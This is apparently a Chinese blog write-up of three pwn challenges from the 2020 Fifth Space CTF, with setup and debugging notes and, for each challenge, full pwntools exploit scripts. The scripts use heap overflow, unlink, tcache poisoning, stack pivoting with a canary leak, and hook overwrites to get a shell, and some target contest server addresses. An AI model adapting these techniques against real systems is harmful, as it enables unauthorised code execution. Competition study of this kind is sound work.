2020第五空间

感觉这次比赛pwn的质量不是很高。

pwnme

一个32位ARM的pwn堆题。记录一下环境搭建和调试过程。

环境搭建

1
2
3
-- sudo apt install gdb-multiarch
-- sudo apt install daemon
-- sudo apt install qemu-user

image-20200628103857587

调试

需要利用gdb-multiarch 进行调试操作

在脚本中 加入 -g xxxx (必须有gdb连接上才会继续运行)

在gdb中输入 target remote localhost:xxxx 进行调试

image-20200628112612028

image-20200628112711357

在mune开头下断点(show开头)

然后每次运行一次操作就段下来(需要断下来就调用show)

这里 我以下mune的断点为例 进行调试

image-20200628113146364

image-20200628113055848

image-20200628113246963

解决操作

方法1 :

漏洞 : edit没有验证索引,导致可以⽆限溢出

1.利用edit溢出改写 指针位置为free的got表

2.利用show泄露libc

3.通过edit溢出改写 free的got表为 system的地址

4.free(“/bin/sh”)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *
context.log_level = 'debug'
#p = process(["qemu-arm","-L","./","-g","1234","./a.out"])
p = remote('121.36.58.215', 1337)

def add(size,tag):
p.sendlineafter('>>> ','2')
p.sendlineafter('Length',str(size))
p.sendafter('Tag',tag)

def show():
p.sendlineafter('>>> ','1')

def edit(idx,size,tag):
p.sendlineafter('>>> ','3')
p.sendlineafter('Index',str(idx))
p.sendlineafter('Length',str(size))
p.sendafter('Tag',tag)

def delete(idx):
p.sendlineafter('>>> ','4')
p.sendafter('Tag',str(idx))

add(0x70,'aaa')
add(0x70,'aaa')
delete(1)
edit(0,0x20,p32(0x00021038) * 4 + p32(0x2106C + 8) * 4)
indexo = (0x22018 - 0x2106C)/8 + 2
edit(indexo + 2,4,p32(0x021038))
show()
p.recvuntil('1 : ')
leak_libc = u32(p.recv(4))
print "leak_libc = "+hex(leak_libc)
sys_addr = leak_libc + 0x72a4
print "sys_addr = "+hex(sys_addr)

edit(indexo,4,p32(sys_addr))
edit(0,8,'/bin/sh\x00')
delete(0)

p.interactive()

方法2:

漏洞 : edit没有对size进行检查 导致了溢出

1.利用unlink 改写 指针区域为free的got表

2.利用show泄露libc

3.通过edit溢出改写 free的got表为 system的地址

4.free(“/bin/sh”)

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context.log_level = "debug"

#p = process(["qemu-arm","-L","./","-g","1234","./a.out"])
p = remote('121.36.58.215', 1337)

def add(size,tag):
p.sendlineafter('>>> ','2')
p.sendlineafter('Length',str(size))
p.sendafter('Tag',tag)

def show():
p.sendlineafter('>>> ','1')

def edit(idx,size,tag):
p.sendlineafter('>>> ','3')
p.sendlineafter('Index',str(idx))
p.sendlineafter('Length',str(size))
p.sendafter('Tag',tag)

def delete(idx):
p.sendlineafter('>>> ','4')
p.sendafter('Tag',str(idx))

add(0x58,'aaa')
add(0x58,'aaa')
add(0x58,'aaa')
add(0x58,'/bin/sh\x00')
add(0x58,'aaa')
add(0x58,'aaa')

payload = p32(0)+p32(0x59)+p32(0x2106c-0x8-4)+p32(0x2106c-0x8)+'\x00'*0x48+p32(0x58)+p32(0x60)

edit(0,0x100,payload)
delete(1)
edit(0,0x100,p64(0)+p32(0)+p32(0x00021038)*3)
show()

p.recvuntil('0 : ')
leak_libc = u32(p.recv(4))
print "leak_libc = "+hex(leak_libc)
sys_addr = leak_libc + 0x72a4
print "sys_addr = "+hex(sys_addr)

edit(1,0x100,p32(sys_addr))
delete(3)

p.interactive()

官方:

一道比较简单的heap题目
只不过环境变成了

1
uclibc + arm

因为uclibc当中也加入了tcache的机制
所以可以通过tcache机制对heap上的地址进行泄露
然后在edit函数当中能够溢出任意大小的字节
因此可以修改堆后面的数据
通过tcache attack
劫持程序的控制流就能够进行ROP
最后获得程序的控制权

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './a.out'


io = process(['qemu-arm', '-g', '1234', '-L', './', './a.out'])

context.log_level = 'debug'

myu64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000

def menu(idx):
io.recvuntil('>>> ')
io.sendline(str(idx))

def add(tag, length):
menu(2)
io.recvuntil("Length:")
io.sendline(str(length))
io.recvuntil("Tag:")
io.send(str(tag))

def show():
menu(1)

def change(i, l, t):
menu(3)
io.recvuntil("Index:")
io.sendline(str(i))
io.recvuntil("Length:")
io.sendline(str(l))
io.recvuntil("Tag:")
io.send(str(t))

def remove(i):
menu(4)
io.recvuntil("Tag:")
io.sendline(str(i))


for i in range(10):
add(str(i) * 8, 0x60)
remove(0)
change(1, 0x100, 'a' * 0x60 + p32(0xd0) + p32(0x68))
remove(2)
add('0', 0x60)
add('2', 0x60)
remove(1)
remove(5)
show()
io.recvuntil("2 : ")
libc_addr = u32(io.recvn(4))
heap_addr = u32(io.recvuntil("3 :")[:-3].ljust(4, '\x00'))
log.info("\033[33m" + hex(libc_addr) + "\033[0m")
log.info("\033[33m" + hex(heap_addr) + "\033[0m")

mangle = heap_addr >> 12
log.info("\033[33m" + hex(mangle) + "\033[0m")

for i in range(10):
add('/bin/sh\0', 0x30)

remove(13)
change(12, 0x100, 'a' * 0x30 + p32(0) + p32(0x39) + p32(mangle ^ (0x21030)))

add('yyy', 0x30)
add(p32(- 0x490ec + libc_addr), 0x30)

remove(17)

io.interactive()

twice

一个简单的栈迁移的题目

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from pwn import*
from LibcSearcher import *
context(log_level="debug")
#p = process('./pwn')
p = remote('121.36.59.116',9999)
elf = ELF('./pwn')

leave_ret = 0x400879
pop_rdi = 0x400923
put_got = elf.got['puts']
put_plt = elf.plt['puts']
main = 0x40087b

payload = 'a'*0x58
p.sendline(payload) #覆盖canary低位 泄露canary与ebp

p.recvuntil("a"*0x58)
canary = u64(p.recv(8))-0xa

print "canary = "+hex(canary)

ebp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "ebp = "+hex(ebp)

payload = 'a'*8+p64(pop_rdi)+p64(put_got)+p64(put_plt)+p64(main)
payload += 'b'*0x30+p64(canary)+p64(ebp-0x70)+p64(leave_ret)

p.send(payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')

print "system_addr = "+hex(system_addr)

payload = 'a'*0x58
p.sendline(payload)

p.recvuntil("a"*0x58)
canary = u64(p.recv(8))-0xa

print "canary = "+hex(canary)

ebp = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print "ebp = "+hex(ebp)

payload = 'a'*8+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)+p64(main)
payload += 'b'*0x30+p64(canary)+p64(ebp-0x70)+p64(leave_ret)

p.send(payload)

p.interactive()

of

分析

这题题目给的源代码与远程有点不一样(太坑了,自己的原因)。远程没有了对cookie的检查,难度下降了几个档次,直接double free 没了。

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context.log_level = 'debug'
p = remote('121.36.74.70',9999)
#p = process('./of')
elf = ELF('./of')
libc = ELF('./libc-2.27.so')

def add(index):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Index: ')
p.sendline(str(index))

def edit(index,content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Index: ')
p.sendline(str(index))
p.recvuntil('Content: ')
p.send(str(content))

def show(index):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('Index: ')
p.sendline(str(index))

def delete(index):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Index: ')
p.sendline(str(index))

add(0)
add(1)
add(2)

delete(0)
delete(0) #double free
show(0)

p.recvuntil('Content: ')
heap_base = u64(p.recv(3).ljust(8,'\x00'))-0x260
print "heap_base = "+hex(heap_base)

add(3)
edit(3,p64(heap_base+0x10))
add(4)
add(5) #分配到tcache
delete(1)
show(1)

p.recvuntil('Content: ')
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x3ebca0
print 'libc_base = '+hex(libc_base)
og = libc_base + 0x4f322
malloc_hook = libc_base + libc.symbols['__malloc_hook']

edit(5,p64(0)+p64(0)) #清空 tcache
delete(0)
delete(0)
add(6)
edit(6,p64(malloc_hook))
add(7)
add(8)
edit(8,p64(og)) #改malloc_hook为og
add(9) #触发

p.interactive()

官方

题目考点

UAF, 编译器优化

漏洞成因

这个是个堆题,如果我们只看源代码的话,是看不出漏洞的,而这道题我们只提供源代码。
题目有allocate, edit, show, delete几个功能。我们从urandom读了一个8字节的随机数当做cookie,只有cookie正确才能做操作,free的时候我们把cookie清零。
然而编译器(gccclang)都会把这个清0操作给优化掉,导致UAF。题目一开始就打印了这个是ubuntu 18编译的,选手只需要自己编译逆向就可以发现问题,但是要开O3优化。或者直接打一下远程也可以发现这个问题。只看源代码的话就没法做出这个题。

1
-- gcc -o3 of of.c

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *

remote_addr=['',0] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True

context.terminal = ["tmux", "new-window"]
#p=remote(remote_addr[0],remote_addr[1])

elf_path = "./of"
p = process(elf_path, aslr = False)
elf = ELF(elf_path)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr = None):
if addr:
print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
else:
print('\033[1;32;40m[-] %-20s \033[0m'%(s))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
sla(": ", str(idx))

def add(idx):
choice(1)
choice(idx)
ru("Done")

def edit(idx, content):
choice(2)
choice(idx)
sa("Content: ", content)

def show(idx):
choice(3)
choice(idx)
ru("Content: ")

def delete(idx):
choice(4)
choice(idx)

if __name__ == '__main__':
add(0)
add(1)
for i in range(8):
delete(0)
show(0)
libc_addr = u64(rv(8)) - 0x3ebca0
libc.address = libc_addr
lg("Libc address", libc_addr)

edit(0, p64(libc.symbols["__free_hook"]))
add(2)
add(3)
edit(3, p64(libc.symbols['system']))
edit(2, '/bin/sh\x00')
delete(2)
p.interactive()
Reward
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.
  • © 2015-2021 John Doe
  • Powered by Hexo Theme Ayer
  • PV: UV:

请我喝杯咖啡吧~

支付宝
微信